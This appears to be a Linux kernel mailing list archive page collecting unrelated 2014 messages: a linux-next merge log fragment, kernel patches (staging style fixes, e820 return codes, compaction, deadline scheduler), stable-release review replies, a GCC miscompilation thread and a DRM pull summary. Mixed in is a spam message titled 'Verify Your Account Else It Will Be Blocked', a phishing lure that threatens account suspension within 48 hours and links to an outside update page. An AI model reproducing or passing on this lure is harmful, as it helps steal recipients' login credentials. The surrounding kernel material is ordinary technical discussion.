branch 'bcmgenet_systemport') Merging ipsec/master (b8c203b2d2fc xfrm: Generate queueing routes only from route lookup functions) Merging sound-current/for-linus (3f4032861cfb ALSA: bebob: Fix failure to detect source of clock for Terratec Phase 88) Merging pci-current/for-linus (7cbeb9f90db8 PCI: pciehp: Fix pcie_wait_cmd() timeout) Merging wireless/master (f8adaf0ae978 brcmfmac: Fix off by one bug in brcmf_count_20mhz_channels()) Merging driver-core.current/driver-core-linus (5e40d331bd72 Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security) Merging tty.current/tty-linus (9e82bf014195 Linux 3.17-rc5) Merging usb.current/usb-linus (0f33be009b89 Linux 3.17-rc6) Merging usb-gadget-fixes/fixes (0b93a4c838fa usb: dwc3: fix TRB completion when multiple TRBs are started) Merging usb-serial-fixes/usb-linus (dee80ad12d2b USB: cp210x: add support for Seluxit USB dongle) Merging staging.current/staging-linus (80213c03c415 Merge tag 'pci-v3.18-changes' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci) Merging char-misc.current/char-misc-linus (9e82bf014195 Linux 3.17-rc5) Merging input-current/for-linus (447a8b858e4b Merge branch 'next' into for-linus) Merging md-current/for-linus (d47648fcf061 raid5: avoid finding "discard" stripe) Merging crypto-current/master (be34c4ef693f crypto: sha - Handle unaligned input data in generic sha256 and sha512.) Merging ide/master (a53dae49b2fe ide: use module_platform_driver()) Merging dwmw2/master (5950f0803ca9 pcmcia: remove RPX board stuff) Merging devicetree-current/devicetree/merge (e66c98c7a0ea of: Fix NULL dereference in selftest removal code) Merging rr-fixes/fixes (f49819560f53 virtio-rng: skip reading when we start to remove the device) Merging vfio-fixes/for-linus (239a87020b26 Merge branch 'for-joerg/arm-smmu/fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/will/linux into for-linus) Mer
[PATCHv2] staging: rtl8188eu: Fix coding style space related ERROR problems
This fixes space related ERROR reports by checkpatch.pl
Generated by $ git ls-files "drivers/staging/rtl8188eu/*.[ch]" | \
xargs ./scripts/checkpatch.pl -f --fix-inplace --strict --types=SPACING
Already checked by text comparasion
$git diff -w
and binary comparasion of r8188eu.ko
$objdiff diff
Signed-off-by: Jia He
Cc: Greg Kroah-Hartman
---
drivers/staging/rtl8188eu/core/rtw_cmd.c | 2 +-
drivers/staging/rtl8188eu/core/rtw_ieee80211.c| 16 +-
drivers/staging/rtl8188eu/core/rtw_mlme.c | 2 +-
drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 22 +++---
drivers/staging/rtl8188eu/core/rtw_pwrctrl.c | 2 +-
drivers/staging/rtl8188eu/core/rtw_recv.c | 12
drivers/staging/rtl8188eu/core/rtw_security.c | 20 ++---
drivers/staging/rtl8188eu/core/rtw_sta_mgt.c | 2 +-
drivers/staging/rtl8188eu/core/rtw_xmit.c | 10 +++
drivers/staging/rtl8188eu/hal/bb_cfg.c| 4 +--
drivers/staging/rtl8188eu/hal/fw.c| 8 ++---
drivers/staging/rtl8188eu/hal/mac_cfg.c | 2 +-
drivers/staging/rtl8188eu/hal/odm.c | 8 ++---
drivers/staging/rtl8188eu/hal/odm_HWConfig.c | 2 +-
drivers/staging/rtl8188eu/hal/odm_RTL8188E.c | 2 +-
drivers/staging/rtl8188eu/hal/phy.c | 2 +-
drivers/staging/rtl8188eu/hal/rf.c| 4 +--
drivers/staging/rtl8188eu/hal/rf_cfg.c| 4 +--
drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 2 +-
drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c| 2 +-
drivers/staging/rtl8188eu/hal/usb_halinit.c | 2 +-
drivers/staging/rtl8188eu/include/ieee80211_ext.h | 20 ++---
drivers/staging/rtl8188eu/include/odm_debug.h | 2 +-
drivers/staging/rtl8188eu/include/osdep_service.h | 4 +--
drivers/staging/rtl8188eu/include/rtw_debug.h | 2 +-
drivers/staging/rtl8188eu/include/rtw_led.h | 2 +-
drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 26
drivers/staging/rtl8188eu/include/wifi.h | 36 +++
drivers/staging/rtl8188eu/os_dep/ioctl_linux.c| 2 +-
drivers/staging/rtl8188eu/os_dep/os_intfs.c | 2 +-
drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 4 +--
drivers/staging/rtl8188eu/os_dep/xmit_linux.c | 2 +-
32 files changed, 116 insertions(+), 116 deletions(-)
diff --git a/drivers/staging/rtl8188eu/core/rtw_cmd.c
b/drivers/staging/rtl8188eu/core/rtw_cmd.c
index 9935e66..7b59a10 100644
--- a/drivers/staging/rtl8188eu/core/rtw_cmd.c
+++ b/drivers/staging/rtl8188eu/core/rtw_cmd.c
@@ -638,7 +638,7 @@ u8 rtw_setstakey_cmd(struct adapter *padapter, u8 *psta, u8
unicast_key)
ether_addr_copy(psetstakey_para->addr, sta->hwaddr);
if (check_fwstate(pmlmepriv, WIFI_STATION_STATE))
- psetstakey_para->algorithm = (unsigned char)
psecuritypriv->dot11PrivacyAlgrthm;
+ psetstakey_para->algorithm = (unsigned
char)psecuritypriv->dot11PrivacyAlgrthm;
else
GET_ENCRY_ALGO(psecuritypriv, sta, psetstakey_para->algorithm,
false);
diff --git a/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
b/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
index 755d3ef..f2c3ca7 100644
--- a/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
+++ b/drivers/staging/rtl8188eu/core/rtw_ieee80211.c
@@ -159,7 +159,7 @@ u8 *rtw_set_ie
return pbuf + len + 2;
}
-inline u8 *rtw_set_ie_ch_switch (u8 *buf, u32 *buf_len, u8 ch_switch_mode,
+inline u8 *rtw_set_ie_ch_switch(u8 *buf, u32 *buf_len, u8 ch_switch_mode,
u8 new_ch, u8 ch_switch_cnt)
{
u8 ie_data[3];
@@ -870,7 +870,7 @@ static int rtw_ieee802_11_parse_vendor_specific(u8 *pos,
uint elen,
if (elen < 4) {
if (show_errors) {
DBG_88E("short vendor specific information element
ignored (len=%lu)\n",
- (unsigned long) elen);
+ (unsigned long)elen);
}
return -1;
}
@@ -890,7 +890,7 @@ static int rtw_ieee802_11_parse_vendor_specific(u8 *pos,
uint elen,
case WME_OUI_TYPE: /* this is a Wi-Fi WME info. element */
if (elen < 5) {
DBG_88E("short WME information element ignored
(len=%lu)\n",
- (unsigned long) elen);
+ (unsigned long)elen);
return -1;
}
switch (pos[4]) {
@@ -905,7 +905,7 @@ static int rtw_ieee802_11_parse_vendor_specific(u8 *pos,
uint elen,
break;
default:
DBG_88E("unknown WME information element
ignored (subtype=%d len=%lu)\n",
- pos[4], (unsigned long) elen);
+ pos[4],
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On Tue, Oct 14, 2014 at 04:39:11AM +0200, Greg Kroah-Hartman wrote: > On Mon, Oct 13, 2014 at 08:19:56AM -0700, Guenter Roeck wrote: > > On 10/12/2014 07:24 PM, Greg Kroah-Hartman wrote: > > >This is the start of the stable review cycle for the 3.17.1 release. > > >There are 25 patches in this series, all will be posted as a response > > >to this one. If anyone has any issues with these being applied, please > > >let me know. > > > > > >Responses should be made by Wed Oct 15 02:24:45 UTC 2014. > > >Anything received after that time might be too late. > > > > > > > Build results: > > total: 134 pass: 134 fail: 0 > > > > Qemu test results: > > total: 30 pass: 30 fail: 0 > > > > Details are available at http://server.roeck-us.net:8010/builders. > > Thanks for testing all 3 of these and letting me know. All 4, sorry... -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] spi: pl022: Fix incorrect dma_unmap_sg
On 10/13/2014 4:08 AM, Mark Brown wrote: On Thu, Oct 09, 2014 at 11:44:54AM -0700, Ray Jui wrote: When mapped RX DMA entries are unmapped in an error condition when DMA is firstly configured in the driver, the number of TX DMA entries was passed in, which is incorrect Applied, thanks. Thanks, Mark. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] spi: spidev: Use separate TX and RX bounce buffers
On 10/13/2014 4:07 AM, Mark Brown wrote: On Thu, Oct 09, 2014 at 11:19:25AM -0700, Ray Jui wrote: By using separate TX and RX bounce buffers, we avoid potential cache flush and invalidation sequence issue that may be encountered when a single bounce buffer is shared between TX and RX Applied, thanks. Thanks, Mark. -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On Mon, Oct 13, 2014 at 02:35:41PM -0600, Shuah Khan wrote: > On 10/12/2014 08:24 PM, Greg Kroah-Hartman wrote: > > This is the start of the stable review cycle for the 3.17.1 release. > > There are 25 patches in this series, all will be posted as a response > > to this one. If anyone has any issues with these being applied, please > > let me know. > > > > Responses should be made by Wed Oct 15 02:24:45 UTC 2014. > > Anything received after that time might be too late. > > > > The whole patch series can be found in one patch at: > > kernel.org/pub/linux/kernel/v3.0/stable-review/patch-3.17.1-rc1.gz > > and the diffstat can be found below. > > > > thanks, > > > > greg k-h > > Compiled and booted on my test system. No dmesg regressions noticed > compared to 3.17. Ran kselftest target as it is included in this > release. Didn't notice any breakages. Yeah, kselftest! I had forgotten that was operational in this release, I'll go add it to my release scripts to make sure it is run before I cut an -rc. Thanks for testing all of these and letting me know. greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On Mon, Oct 13, 2014 at 08:19:56AM -0700, Guenter Roeck wrote: > On 10/12/2014 07:24 PM, Greg Kroah-Hartman wrote: > >This is the start of the stable review cycle for the 3.17.1 release. > >There are 25 patches in this series, all will be posted as a response > >to this one. If anyone has any issues with these being applied, please > >let me know. > > > >Responses should be made by Wed Oct 15 02:24:45 UTC 2014. > >Anything received after that time might be too late. > > > > Build results: > total: 134 pass: 134 fail: 0 > > Qemu test results: > total: 30 pass: 30 fail: 0 > > Details are available at http://server.roeck-us.net:8010/builders. Thanks for testing all 3 of these and letting me know. greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH 2/2] xen/setup: warn on bad Xen-supplied memory map
Currently, we don't check the return code of sanitize_e820_map. However, if the Xen-supplied memory map is invalid, then sanitize_e820_map will return without doing anything, potentially leading to errors later on. Add a WARN_ON in case sanitize_e820_map detects an invalid memory map. Signed-off-by: Martin Kelly --- arch/x86/xen/setup.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/arch/x86/xen/setup.c b/arch/x86/xen/setup.c index af72161..48c7072 100644 --- a/arch/x86/xen/setup.c +++ b/arch/x86/xen/setup.c @@ -608,7 +608,8 @@ char * __init xen_memory_setup(void) xen_ignore_unusable(map, memmap.nr_entries); /* Make sure the Xen-supplied memory map is well-ordered. */ - sanitize_e820_map(map, memmap.nr_entries, _entries); + rc = sanitize_e820_map(map, memmap.nr_entries, _entries); + WARN_ON(rc == E820_RC_BAD_MAP); max_pages = xen_get_max_pages(); if (max_pages > max_pfn) -- 2.1.1 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH 1/2] x86: separate out sanitize_e820_map return codes
Previously, sanitize_e820_map returned -1 in all cases in which it did nothing. However, sanitize_e820_map can do nothing either because the input map has size 1 (this is ok) or because the input map passed in is invalid (likely an issue). It is nice for the caller to be able to distinguish the two cases and treat them separately. Signed-off-by: Martin Kelly --- arch/x86/include/asm/e820.h | 5 + arch/x86/kernel/e820.c | 18 +++--- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/arch/x86/include/asm/e820.h b/arch/x86/include/asm/e820.h index 779c2ef..96377df 100644 --- a/arch/x86/include/asm/e820.h +++ b/arch/x86/include/asm/e820.h @@ -12,6 +12,11 @@ /* see comment in arch/x86/kernel/e820.c */ extern struct e820map e820; extern struct e820map e820_saved; +/* sanitize_e820_map return codes */ +#define E820_RC_ONLY_ONE (-1) /* return code when there's only one memory + region in the map */ +#define E820_RC_BAD_MAP (-2) /* return code when passed a map containing an + invalid memory region */ extern unsigned long pci_mem_start; extern int e820_any_mapped(u64 start, u64 end, unsigned type); diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c index 49f8864..3e1fd63 100644 --- a/arch/x86/kernel/e820.c +++ b/arch/x86/kernel/e820.c @@ -189,11 +189,15 @@ void __init e820_print_map(char *who) * (something no more than max_nr_map.) * * The return value from sanitize_e820_map() is zero if it - * successfully 'sanitized' the map entries passed in, and is -1 - * if it did nothing, which can happen if either of (1) it was - * only passed one map entry, or (2) any of the input map entries - * were invalid (start + size < start, meaning that the size was - * so big the described memory range wrapped around through zero.) + * successfully 'sanitized' the map entries passed in and negative if it did + * nothing. There are two cases in which sanitize_e820_map() does nothing: + * (1) it was passed only one map entry, so nothing needs to be done. In this + * case, it returns E820_RC_ONLY_ONE. + * (2) any of the input map entries * were invalid (start + size < start) + * meaning that the size was so big the described memory range wrapped + * around through zero. In this case, it returns E820_RC_BAD_MAP. + * Since (1) is sometimes an expected case and (2) indicates an error, the + * distinct return codes allow callers to handle the two cases separately. * * Visually we're performing the following * (1,2,3,4 = memory types)... @@ -269,7 +273,7 @@ int __init sanitize_e820_map(struct e820entry *biosmap, int max_nr_map, /* if there's only one memory region, don't bother */ if (*pnr_map < 2) - return -1; + return E820_RC_ONLY_ONE; old_nr = *pnr_map; BUG_ON(old_nr > max_nr_map); @@ -277,7 +281,7 @@ int __init sanitize_e820_map(struct e820entry *biosmap, int max_nr_map, /* bail out if we find any unreasonable addresses in bios map */ for (i = 0; i < old_nr; i++) if (biosmap[i].addr + biosmap[i].size < biosmap[i].addr) - return -1; + return E820_RC_BAD_MAP; /* create pointers for initial change-point information (for sorting) */ for (i = 0; i < 2 * old_nr; i++) -- 2.1.1 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
RE: [PATCH] mfd: syscon: binding: Add syscon endianness support.
Hi DT guys,
Could someone help me review or ack this patch?
Thanks very much.
BRs
Xiubo
> -Original Message-
> From: Xiubo Li [mailto:li.xi...@freescale.com]
> Sent: Thursday, September 18, 2014 3:27 PM
> To: Dong Aisheng-B29396; pankaj.du...@samsung.com; robh...@kernel.org;
> pawel.m...@arm.com; mark.rutl...@arm.com; ijc+devicet...@hellion.org.uk;
> ga...@codeaurora.org; sa...@linux.intel.com; lee.jo...@linaro.org;
> devicet...@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org; Xiubo Li-B47053
> Subject: [PATCH] mfd: syscon: binding: Add syscon endianness support.
>
> For many drivers which will support rich endianness of Devices
> need define DT properties by itself with the binding support.
>
> The regmap core has already support endianness of the following
> case:
> Index Device DT properties needed
> --
> 1 BE 'big-endian'
> 2 LE 'little-endian'
>
> Please see the regmap binding for more detail information of
> the endianness support.
>
> Signed-off-by: Xiubo Li
> ---
>
>
> This patch hasn't any dependency with Pankaj Dubey's:
> mfd: syscon: Decouple syscon interface from platform devices
>
>
>
> Documentation/devicetree/bindings/mfd/syscon.txt | 17 ++---
> 1 file changed, 14 insertions(+), 3 deletions(-)
>
> diff --git a/Documentation/devicetree/bindings/mfd/syscon.txt
> b/Documentation/devicetree/bindings/mfd/syscon.txt
> index fe8150b..7c33178 100644
> --- a/Documentation/devicetree/bindings/mfd/syscon.txt
> +++ b/Documentation/devicetree/bindings/mfd/syscon.txt
> @@ -10,11 +10,22 @@ OS driver) to determine the location of the registers, and
> access the
> registers directly.
>
> Required properties:
> -- compatible: Should contain "syscon".
> -- reg: the register region can be accessed from syscon
> +- compatible:Should contain "syscon".
> +- reg: The register region can be accessed from syscon
>
> -Examples:
> +Optional property:
> +- {big,little}-endian: Boolean property. Please see
> ../regmap/regmap.txt
> + for more information.
> +
> +Example 1:
> gpr: iomuxc-gpr@020e {
> compatible = "fsl,imx6q-iomuxc-gpr", "syscon";
> reg = <0x020e 0x38>;
> };
> +
> +Example 2:
> +dcfg: dcfg@1ee {
> + compatible = "fsl,ls1021a-dcfg", "syscon";
> + reg = <0x0 0x1ee 0x0 0x1>;
> + big-endian;
> +};
> --
> 2.1.0.27.g96db324
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH] mm/compaction: avoid premature range skip in isolate_migratepages_range
commit edc2ca612496 ("mm, compaction: move pageblock checks up from
isolate_migratepages_range()") commonizes isolate_migratepages variants
and make them use isolate_migratepages_block().
isolate_migratepages_block() could stop the execution when enough pages
are isolated, but, there is no code in isolate_migratepages_range()
to handle this case. In the result, even if isolate_migratepages_block()
returns prematurely without checking all pages in the range,
isolate_migratepages_block() is called repeately on the following
pageblock and some pages in the previous range are skipped to check.
Then, CMA is failed frequently due to this fact.
To fix this problem, this patch let isolate_migratepages_range() know
the situation that enough pages are isolated and stop the isolation
in that case.
Note that isolate_migratepages() has no such problem, because, it always
stops the isolation after just one call of isolate_migratepages_block().
Signed-off-by: Joonsoo Kim
---
mm/compaction.c |3 +++
1 file changed, 3 insertions(+)
diff --git a/mm/compaction.c b/mm/compaction.c
index edba18a..ec74cf0 100644
--- a/mm/compaction.c
+++ b/mm/compaction.c
@@ -784,6 +784,9 @@ isolate_migratepages_range(struct compact_control *cc,
unsigned long start_pfn,
cc->nr_migratepages = 0;
break;
}
+
+ if (cc->nr_migratepages == COMPACT_CLUSTER_MAX)
+ break;
}
acct_isolated(cc->zone, cc);
--
1.7.9.5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH 2/2] sched/deadline: don't need to balance during wakeup if wakee is pinned
Use nr_cpus_allowed to bail from select_task_rq() when only one cpu can be used, and saves some cycles for pinned tasks. Signed-off-by: Wanpeng Li --- kernel/sched/deadline.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/kernel/sched/deadline.c b/kernel/sched/deadline.c index f46b7f1..5874bf8 100644 --- a/kernel/sched/deadline.c +++ b/kernel/sched/deadline.c @@ -914,6 +914,9 @@ select_task_rq_dl(struct task_struct *p, int cpu, int sd_flag, int flags) struct task_struct *curr; struct rq *rq; + if (p->nr_cpus_allowed == 1) + goto out; + if (sd_flag != SD_BALANCE_WAKE) goto out; -- 1.9.1 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH 1/2] sched/deadline: don't need to check SD_BALANCE_FORK
There is no need to do balance during fork since SCHED_DEADLINE tasks can't fork. This patch avoid the SD_BALANCE_FORK check. Signed-off-by: Wanpeng Li --- kernel/sched/deadline.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kernel/sched/deadline.c b/kernel/sched/deadline.c index abfaf3d..f46b7f1 100644 --- a/kernel/sched/deadline.c +++ b/kernel/sched/deadline.c @@ -914,7 +914,7 @@ select_task_rq_dl(struct task_struct *p, int cpu, int sd_flag, int flags) struct task_struct *curr; struct rq *rq; - if (sd_flag != SD_BALANCE_WAKE && sd_flag != SD_BALANCE_FORK) + if (sd_flag != SD_BALANCE_WAKE) goto out; rq = cpu_rq(cpu); -- 1.9.1 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] staging: dgap: re-arrange functions for removing forward declarations.
On Tue, 2014-10-14 at 04:04 +0200, Greg KH wrote: > On Mon, Oct 13, 2014 at 07:56:38AM -0700, Joe Perches wrote: > > On Mon, 2014-10-13 at 17:01 +0900, DaeSeok Youn wrote: > > > 2014-10-13 12:25 GMT+09:00 Greg KH : > > > > On Mon, Oct 13, 2014 at 11:34:25AM +0900, Daeseok Youn wrote: > > > >> Re-arrange the functions for removing forward declarations. [] > > > >> This patch has too many changes for re-arranging the functions. > > > >> So I wonder that I should break this up into smaller patches. > > > > Are the .o files identical before and after this patch? If so, it's > > > > fine. > > > Ok. I will check for that. > > The .o files shouldn't be identical after function reordering. > > Hm, they might be the same size, but I can see how on some > architectures (like ppc) how that would not be the case, you are right. > > Isn't there an "objdiff" program or something like that which might help > in validating that nothing "changed" in the source for type of patch > that just moves functions around in a file. There is a scripts/objdiff, but that is basically for whitespace only changes. I don't know of a way to compare objects when functions are rearranged in the source file. Anyone else? -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Verify Your Account Else It Will Be Blocked
-- Dear user, We are undergoing maintenance therefore all accounts must be updated, this is to reduce the number of dormant accounts. Accounts not updated in 48 hours will be suspended. Please follow the hyper link below to update your account Click Here To Update Account. http://zimbra1.my3gb.com/ Best Regards, Administrator -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
How can I check creator of probe point?
Hi,
I am trying to find a way to make statistics for memory allocation of my device
driver.
I want to know how much memory it allocates and how many times it calls
kmalloc().
So I am considering to use kprobe but I think it doesn't provide a way to
identify who makes the probe point.
Can I distinguish kmalloc() calling only from my driver?
For example I think it could be like this:
diff --git a/samples/kprobes/kretprobe_example.c
b/samples/kprobes/kretprobe_example.c
index 1041b67..5322e0a 100644
--- a/samples/kprobes/kretprobe_example.c
+++ b/samples/kprobes/kretprobe_example.c
@@ -32,6 +32,7 @@ MODULE_PARM_DESC(func, "Function to kretprobe; this module
will report the"
/* per-instance private data */
struct my_data {
+ unsigned long signature;
ktime_t entry_stamp;
};
@@ -43,8 +44,10 @@ static int entry_handler(struct kretprobe_instance *ri,
struct pt_regs *regs)
if (!current->mm)
return 1; /* Skip kernel threads */
- data = (struct my_data *)ri->data;
- data->entry_stamp = ktime_get();
+ if (signature == 0xabcdabcd) {
+ data = (struct my_data *)ri->data;
+ data->entry_stamp = ktime_get();
+ }
return 0;
}
@@ -60,10 +63,12 @@ static int ret_handler(struct kretprobe_instance *ri,
struct pt_regs *regs)
s64 delta;
ktime_t now;
- now = ktime_get();
- delta = ktime_to_ns(ktime_sub(now, data->entry_stamp));
- printk(KERN_INFO "%s returned %d and took %lld ns to execute\n",
- func_name, retval, (long long)delta);
+ if (signature == 0xabcdabcd) {
+ now = ktime_get();
+ delta = ktime_to_ns(ktime_sub(now, data->entry_stamp));
+ printk(KERN_INFO "%s returned %d and took %lld ns to execute\n",
+ func_name, retval, (long long)delta);
+ }
return 0;
}
--
Thanks,
Gioh Kim
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: RCU bug with v3.17-rc3 ?
On Mon, Oct 13, 2014 at 12:43:07PM +0100, Russell King - ARM Linux wrote:
> On Mon, Oct 13, 2014 at 09:11:34AM +, David Laight wrote:
> > From: Nathan Lynch
> > > On 10/10/2014 11:25 AM, Russell King - ARM Linux wrote:
> > > >
> > > > Right, so GCC 4.8.{1,2} are totally unsuitable for kernel building (and
> > > > it seems that this has been known about for some time.)
> > >
> > > Looking at http://gcc.gnu.org/PR58854 it seems that all 4.8.x for x < 3
> > > are affected, as well as 4.9.0.
> > >
> > > > We can blacklist these GCC versions quite easily. We already have GCC
> > > > 3.3 blacklisted, and it's trivial to add others. I would want to
> > > > include
> > > > some proper details about the bug, just like the other existing entries
> > > > we already have in asm-offsets.c, where we name the functions that the
> > > > compiler is known to break where appropriate.
> > >
> > > Before blacklisting anything, it's worth considering that simple version
> > > checks would break existing pre-4.8.3 compilers that have been patched
> > > for PR58854. It looks like Yocto and Buildroot issued releases with
> > > patched 4.8.2 compilers well before the (fixed) 4.8.3 release. I think
> > > the most we can reasonably do without breaking some correctly-behaving
> > > toolchains is to emit a warning.
> >
> > Is it possible to compile a small code fragment and check the generated
> > code for the bug?
> > Possibly predicated on the broken version number to avoid false positives.
>
> I don't see how - it looks like it requires an interrupt to occur at an
> opportune moment to provoke the function to fail. The alternative would
> be to parse the assembly generated by the compiler to determine how it
> is dealing with the stack.
>
> I think the only viable solution here is that:
>
> 1. We blacklist the bad compiler versions outright in the kernel.
Yes, please do this, it's what we have done for other buggy compiler
versions, no need to do something different here.
> Remember, it's the distro's choice to fix these buggy compilers, so the
> onus is on _them_ to deal with the mess they've created by doing so.
I totally agree.
Is someone going to send this patch, or do I have to write it myself?
thanks,
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] staging: dgap: re-arrange functions for removing forward declarations.
On Mon, Oct 13, 2014 at 07:56:38AM -0700, Joe Perches wrote: > On Mon, 2014-10-13 at 17:01 +0900, DaeSeok Youn wrote: > > Hi, > > > > 2014-10-13 12:25 GMT+09:00 Greg KH : > > > On Mon, Oct 13, 2014 at 11:34:25AM +0900, Daeseok Youn wrote: > > >> Re-arrange the functions for removing forward declarations. > > >> > > >> Signed-off-by: Daeseok Youn > > >> --- > > >> This patch has too many changes for re-arranging the functions. > > >> So I wonder that I should break this up into smaller patches. > > > > > > Are the .o files identical before and after this patch? If so, it's > > > fine. > > Ok. I will check for that. > > The .o files shouldn't be identical after function reordering. Hm, they might be the same size, but I can see how on some architectures (like ppc) how that would not be the case, you are right. Isn't there an "objdiff" program or something like that which might help in validating that nothing "changed" in the source for type of patch that just moves functions around in a file. thanks, greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
RE: [PATCH 6/6] regmap: cache: Fix possible ZERO_SIZE_PTR pointer dereferencing error.
> Subject: Re: [PATCH 6/6] regmap: cache: Fix possible ZERO_SIZE_PTR pointer > dereferencing error. > > On Thu, Oct 09, 2014 at 05:02:57PM +0800, Xiubo Li wrote: > > When all the registers are volatile(unlikely, but logically and mostly > > will happen for some 'device' who has very few registers), then the > > count will be euqal to 0, then kmalloc() will return ZERO_SIZE_PTR, > > which equals to ((void *)16). > > Applied, thanks. I'm assuming there's nothing affected by this in > Linus' tree which needs this as a fix immediately? Yes, this will happen on one case like my LS1 platform in late future. Thanks, BRs Xiubo -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC PATCH 3/3] i2c: show and change bus frequency via sysfs
> If this limitations exists >they are not introduced by this patch. This patch just exposes the >frequency so that it can be read or changed in userspace. Ah, well right now you can have an i2c bus with driver 1 and 2. Say the i2c bus is configured for 60khz in kernel space which normally can't be changed. Driver 1 talks to a slave that cannot go above 100khz. Now the userspace interface is added to the i2c bus. Some userspace application decides to reconfigure the bus for 400khz and do its communication to some slave device. Now the kernel tries to do some background talking to the drive 1 slave and suddenly finds it can no longer communicate with it. Right now with the kernel space only configuration, the system is safe from being messed up easily. It's more of a sanity of configuration issue. >On a different not, I have noticed that a fixed set of frequencies >might not be the best API, since multiple drivers rather support a >rather large set of frequencies in a range. A better API might be to >expose a min-max range and let the bus driver adjust the requested >frequency. I will follow up with a second version that does that. I was actually thinking you could eliminate the table of supported frequencies and just have the bus driver handle the set frequency decision itself and just return an error code if it's invalid. There are legitiamate drivers that cannot do more than a list of frequencies already as well. One example is here: http://lxr.free-electrons.com/source/drivers/i2c/busses/i2c-bcm-kona.c#L717 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[git pull] drm tree for 3.18-rc1
Hi Linus, This is the main git pull for the drm, I pretty much froze major pulls at -rc5/6 time, and haven't had much fallout, so will probably continue doing that. Lots of changes all over, big internal header cleanup to make it clear drm features are legacy things and what are things that modern KMS drivers should be using. Also big move to use the new generic fences in all the TTM drivers. core: atomic prep work, vblank rework changes, allows immediate vblank disables major header reworking and cleanups to better delinate legacy interfaces from what KMS drivers should be using. cursor planes locking fixes ttm: move to generic fences (affects all TTM drivers) ppc64 caching fixes radeon: userptr support, uvd for old asics, reset rework for fence changes better buffer placement changes, dpm feature enablement hdmi audio support fixes intel: Cherryview work, 180 degree rotation, skylake prep work, execlist command submission full ppgtt prep work cursor improvements edid caching, vdd handling improvements nouveau: fence reworking kepler memory clock work gt21x clock work fan control improvements hdmi infoframe fixes DP audio ast: ppc64 fixes caching fix rcar: rcar-du DT support 